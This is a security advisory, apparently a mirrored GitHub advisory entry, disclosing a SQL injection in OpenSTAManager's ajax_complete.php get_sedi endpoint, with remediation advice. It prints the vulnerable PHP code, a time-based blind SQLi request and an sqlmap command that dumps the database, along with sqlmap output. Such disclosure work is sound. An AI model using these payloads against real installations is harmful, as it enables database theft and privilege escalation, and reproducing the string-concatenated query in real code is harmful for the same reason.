OpenSTAManager has a SQL Injection in ajax_complete.php (get_sedi endpoint)
Summary
A SQL Injection vulnerability exists in the ajax_complete.php endpoint when handling the get_sedi operation. An authenticated attacker can inject malicious SQL code through the idanagrafica parameter, leading to unauthorized database access.
Proof of Concept
Vulnerable Code
File: modules/anagrafiche/ajax/complete.php:28
case 'get_sedi':
$idanagrafica = get('idanagrafica');
$q = "SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione
FROM an_sedi
WHERE idanagrafica='".$idanagrafica."' ...";
$rs = $dbo->fetchArray($q);
Data Flow
- Source:
$_GET['idanagrafica']→get('idanagrafica') - Vulnerable: User input concatenated directly into SQL query with single quotes
- Sink:
$dbo->fetchArray($q)executes the malicious query
Exploit
Manual PoC (Time-based Blind SQLi):
GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
SQLMap Exploitation:
sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--dump
SQLMap Output:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF
back-end DBMS: MySQL >= 5.0.12
Impact
- Data Exfiltration: Complete database extraction including user credentials, customer data, financial records
- Privilege Escalation: Modification of
zz_userstable to gain admin access - Data Integrity: Unauthorized modification or deletion of records
- Potential RCE: Via
SELECT ... INTO OUTFILEif file permissions allow
Affected Versions
- OpenSTAManager: Verified in latest version (as of December 2025)
- All versions using this endpoint are likely affected
Remediation
Replace direct concatenation with prepared statements:
Before:
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";
After:
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";
Credit
Discovered by: Łukasz Rybak
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | devcode-it/openstamanager | <= 2.9.8 | no fix |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-89- Platform
- Composer
- Package
devcode-it/openstamanager- Disclosed
- 03.02.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-w995-ff8h-rppg - CC BY 4.0
Vulnerability history: devcode-it/openstamanager
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 18
- First → latest
- 11.2025 08.2026
- Without a fix
- 11
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 14
- Medium 1
- Low 1
Disclosures per year
- 2025: 1
- 2026: 17
-
OpenSTAManager has a SQL Injection in ajax_complete.php (get_sedi endpoint) this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.